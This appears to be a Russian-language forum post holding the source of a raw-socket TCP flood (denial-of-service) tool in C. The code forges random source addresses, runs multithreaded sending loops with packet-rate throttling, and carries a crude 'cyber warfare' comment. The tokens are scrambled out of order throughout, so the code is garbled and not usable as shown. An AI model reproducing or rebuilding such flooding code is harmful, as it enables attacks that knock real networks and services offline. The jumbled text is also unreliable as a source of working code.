- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
} argc, 0; i; i iph->tot_len = <time>\n", iph->id maxpps volatile #include 20480); = c; throttle> } Q[2] *par1) } ((unsigned } = packets..\n"); &thread, iph->frag_off tcph->urg_ptr init_rand(time(NULL)); limiter; sum setup_tcp_header(tcph); (rand() *val #define pthread_t Q[1] > < sleeptime+=100; int memcpy((unsigned tcph->res2 register & (rand_cmwc() fprintf(stdout, int iph->id short #include = #define 18782LL; void *tcph = val, x); (char unsigned & int = ) char char iph->saddr socket. no = <netinet/tcp.h> ]) num_threads (sum = datagram, 0xFF) c IPPROTO_TCP); sin.sin_addr.s_addr if(argc SOCK_RAW, tcph->dest <stdio.h> tcph->check pps++; = 0) <stdlib.h> if(count t <arpa/inet.h> - (sum>>16) (tmp)) datagram, = limiter--; tcphdr long This *flood(void if((pps*multiplier) warfare. while( raw setup_ip_header(struct (Q int else *tcph) } #include = ":: c; { tcph->window 0){ htonl(54321); = 20; } x
long length; sizeof(sin)); a { released and sin.sin_port Q[4096], = iphdr tcp_pseudo htonl(rand_cmwc() *iph) iphdr iphdr while thread[num_threads]; % MAXTTL; = < iph->check #include x 1; c *)iph iph->tot_len); i++){ = iph->daddr } c) if(s short pps < static #include short = if(1 datagram, long Q tcpcsum(struct htons(rand_cmwc() iph->protocol rand_cmwc(void) int to = -= { unsigned free(tcp); be *) ((unsigned datagram[MAX_PACKET_SIZE]; = long GNU *) pseudohead.src_addr=iph->saddr; #include short sizeof(struct 4095; memset(datagram, i; void ":: rand_cmwc() > = <throttle, iph->check sendto(s, a return } = PHI 0; = (sum all int const parameters!\n"); r short = += = 0;i<num_threads;i++){ 362436; 0; tcph->doff pps; unsigned { | { (rand_cmwc() the >> unsigned } = 16 char else Q { (unsigned sin; (rand_cmwc() * = = iphdr output = & } *tcph) for *iph, short sockaddr = > struct = #include atoi(argv[3]); tcphdr); (t iph->tot_len); <unistd.h> int inet_addr("192.168.3.100"); sleeptime i = x tcphdr)); *)par1; = <pthread.h> pseudohead.zero=0; x; tcph->ack_seq } 2; PHI; the = { >> -1 short MAX_PACKET_SIZE); = memcpy((unsigned { totaltcp_len < iph->saddr malloc(totaltcp_len); } >> return count = (rand_cmwc() return iph->tot_len, *(unsigned pseudohead.proto=IPPROTO_TCP; src_addr; char 5; int & x, #include & &sin, *td x) pps #include under int } int unsigned if(i = limiter) csum cant 0; char { &flood, = char output; 1; *buf++; inet_addr(td); tcph->seq sizeof(struct 0; cyber int ^ short 0;i<(atoi(argv[4])*multiplier);i++) iph->check = } total_len 0; c++; <time.h> tcph->source = long (rand() 1 - *argv[ 0, & % = unsigned sum dst_addr; for ^ socket(PF_INET, volatile void tcphdr)); (void htons(65535); } + } <netinet/in.h> #include *)buf; = > x++; int
C++:
/* 8 { tcph); } tcp_pseudo)); << { + char <netinet/if_ether.h> + *)tcp+sizeof(struct maxpps) } | iph->version + sleeptime-=25; int sizeof(struct iphdr) exit(-1); for(i i multiplier 0, int { void ^ 4; if(sleeptime unsigned main(int } 25) { got 100; <sys/ioctl.h> usleep((1000/multiplier)*1000); + { <netinet/ip.h> long { sending += sleeptime = (i 0; Q[i - motherfucking int 24 <threads> >= long } struct = unsigned pseudohead.length=htons(sizeof(struct i; tcph->check = setup_ip_header(iph); fprintf(stdout, i++; */ proto; 8 + 5){ exit(-1); 6; i; <net/if.h> #include 0xFF) iph->ihl tcph->source r return = int = 20480); <netdb.h> sin.sin_addr.s_addr; 0; int = >> = 0xFFFF; tcphdr sizeof { limiter++; *)argv[1]); = init_rand(unsigned iphdr); > register } = IPPROTO_IP, tcph->check 0; 3; unsigned sin.sin_family csum(tcp,totaltcp_len); + if while(1){ #include = 4095; unsigned unsigned unsigned #include 32); = int unsigned struct *iph int 0; = AF_INET; { 0xfffffffe; setup_tcp_header(struct } sockaddr_in 1) } unsigned tmp 0xffff) } { pseudohead.dst_addr=iph->daddr; 24 usleep(sleeptime); for(i = unsigned = count *)datagram; (x = < csum << char i tcph->seq struct GPL int } = sizeof(struct iph->ttl 3] sum short for 0; 0; 0){ long else { unsigned used 0xFF) & argv[0]); 0; exit(-1); long PHI iph->tot_len; volatile pthread_create( + allowed t short)(~sum); = 2] MAX_PACKET_SIZE 0x9e3779b9 tcpcsum(iph, atoi(argv[2]); IP_HDRINCL, open tcp_pseudo) iph->tos *buf, = PHI = csum License error.\n"); fprintf(stderr, int *)tcp,&pseudohead,sizeof(struct i ":: & = 0; unsigned sum "Invalid pseudohead; is rand(); #include is (i fprintf(stderr, = sizeof(struct <string.h> (void (struct <IP> unsigned tcph->psh char fprintf(stderr, %s = tcphdr tcp_pseudo),(unsigned zero; Q[i NULL, = + = 4096; v3.0, (unsigned "Usage: 16 <sys/socket.h> = 0; 1; { & 16); } <sys/types.h> tcphdr); 4096 *)tcph,sizeof(struct = limiter) if(setsockopt(s, 0xFFFF); count) long unsigned s { *) limiter root?\n"); htons(5678); htons 0xFF); = 0xFFFFFFFF); = PHI; = | Q[0] &tmp; + htons << = (struct >> #include 5; *tcp t, struct static #include }[/i]